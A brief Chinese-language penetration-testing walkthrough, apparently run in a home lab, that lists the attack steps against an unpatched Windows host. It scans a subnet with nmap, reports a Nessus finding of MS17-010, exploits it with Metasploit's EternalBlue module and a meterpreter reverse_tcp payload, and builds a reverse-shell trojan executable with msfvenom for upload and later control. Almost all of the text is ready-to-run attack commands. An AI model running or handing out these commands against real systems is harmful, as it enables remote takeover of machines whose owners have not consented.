0x0 探测内网主机

nmap -ss -v 192.168.153.0/24

0x1 nessus扫描

发现存在ms17-010漏洞

0x2 msf进行利用

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhost 192.168.153.128
set lhost 192.168.153.1
set lport 9991
run

0x3 制作木马进行上传

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.153.1 lport=9992 -f exe >shell.exe

之后可以实现后续控制